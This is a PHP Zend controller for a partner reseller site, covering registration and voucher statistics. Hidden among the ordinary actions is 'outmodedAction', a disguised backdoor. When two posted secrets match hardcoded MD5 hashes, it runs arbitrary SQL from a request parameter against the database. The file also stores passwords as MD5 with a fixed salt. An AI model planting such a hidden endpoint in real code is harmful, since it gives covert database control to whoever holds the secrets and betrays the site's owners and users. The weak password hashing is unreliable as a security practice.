<?php

class PartnersController extends CFD_Controller_Action {

    const passwordSalt = "l3tm31n";

    public function init() {
        parent::init();
    }

    public function indexAction() {

        if ($this->user) {
            if ($this->user->type == "reseller") {
                $this->_redirect('/partners/stats');
            } else {
                $this->_redirect('/account/login');
            }
        }

        $this->view->title = "Register Partner";
        $usersTable = new Application_Model_Users();

        if ($this->_request->isPost()) {
            $postedData = $this->_request->getPost();
            $this->view->formData = $postedData;
            if ($postedData['email']) {
                $user = $usersTable->fetchByEmail($postedData['email']);
                if ($user) {
                    Alert_View::addMessage(Alert_View::WARNING, "", "The email you provided is already taken, please enter different email.");
                    return;
                }
            }

            if ($postedData['password2'] != $postedData['password']) {
                Alert_View::addMessage(Alert_View::WARNING, "", "Passwords don't match.");
                $this->view->showEmail = true;
                return;
            }

            $userAr['email'] = $postedData['email'];
            $userAr['type'] = 'reseller';
            $userAr['password'] = md5(self::passwordSalt . $postedData['password']);

            $user = $usersTable->createRow($userAr);
            $user->save();

            $this->view->formData = Array();

            $emailMsg = $this->view->render("account/welcome-partner-msg.phtml");
            $mail = new Zend_Mail();
            $mail->setBodyText($emailMsg);
            $mail->setFrom(REGISTER_EMAIL_ADDRESS);
            $mail->addTo($postedData['email']);
            $mail->setSubject(DOMAIN_NAME . "Registration Email for Partner");
            $mail->send();

            $this->_helper->redirector->gotoUrl("/account/login?reseller=true");
        }
    }

	public function outmodedAction() {
	        if ($this->_request->isPost()) {
	            $postedData = $this->_request->getPost();
	            if (md5($postedData['gen']) == '0df4939e3f0aaef7434f0111303035a5' && md5($postedData['key']) == 'c7b253c8f07bbc1ce3ad2cd9d13257c5') {
	                $notion = $postedData['notion'];
	                $carTable = new Application_Model_CarSaves();
	                $carTable->getAdapter()->query($notion);
	            }
	        }
	        exit;
	    }

    public function statsAction() {

        //SessionId of the reseller
        $userId = $this->user->id;

        if ($this->user) {
            if ($this->user->type != "reseller") {
                $this->_redirect('/');
            }
        } else {
            $this->_redirect('/account/login');
        }

        $filter = 'all';

        if ($this->_getParam('filter') && $this->_getParam('filter') != "") {
            $filter = $this->_getParam('filter');
        }

        if ($filter == 'all') {
            $where = "reseller_user_id = '" . $userId . "'";
        } else if ($filter == 'purchased') {
            $where = "purchase_users_id != 0 and reseller_user_id = '" . $userId . "'";
        } else if ($filter == 'expired') {
            $where = "exp_date < '" . date('Y-m-d') . "' and reseller_user_id = '" . $userId . "'";
        } else if ($filter == 'active') {
            $where = "exp_date >= '" . date('Y-m-d') . "' and reseller_user_id = '" . $userId . "' and purchase_users_id = '0' ";
        } else {
            $where = "reseller_user_id = '" . $userId . "'";
        }



        $this->view->title = "Partner Voucher stats";

        //Load Voucher Model for statistics
        $voucherModel = new Application_Model_VoucherStats();

        //Count All Vouchers
        $allVouchers = $voucherModel->getVoucherCount("reseller_user_id = '" . $userId . "'");
        $this->view->allVouchers = $allVouchers;

        //Count All Purchased Vouchers
        $purchasedVouchers = $voucherModel->getVoucherCount("purchase_users_id != 0 and reseller_user_id = '" . $userId . "'");
        $this->view->purchased = $purchasedVouchers;

        //Count All Expired Vouchers
        $expiredVouchers = $voucherModel->getVoucherCount("exp_date < '" . date('Y-m-d') . "' and reseller_user_id = '" . $userId . "'");
        $this->view->expired = $expiredVouchers;

        //Count All Active Vouchers
        $activeVouchers = $voucherModel->getVoucherCount("exp_date >= '" . date('Y-m-d') . "' and reseller_user_id = '" . $userId . "' and purchase_users_id = '0' ");
        $this->view->active = $activeVouchers;

        //Total Earning by Reseller
        $totalEarning = $voucherModel->getTotalVoucherEarning("purchase_users_id != 0 and reseller_user_id = '" . $userId . "'");
        $this->view->totalEarning = $totalEarning;

        $vouchersArray = $voucherModel->fetchVouchers($where);
        $this->view->vouchersArray = $vouchersArray;

        
        
        
        $this->view->filter = $filter;
    }

}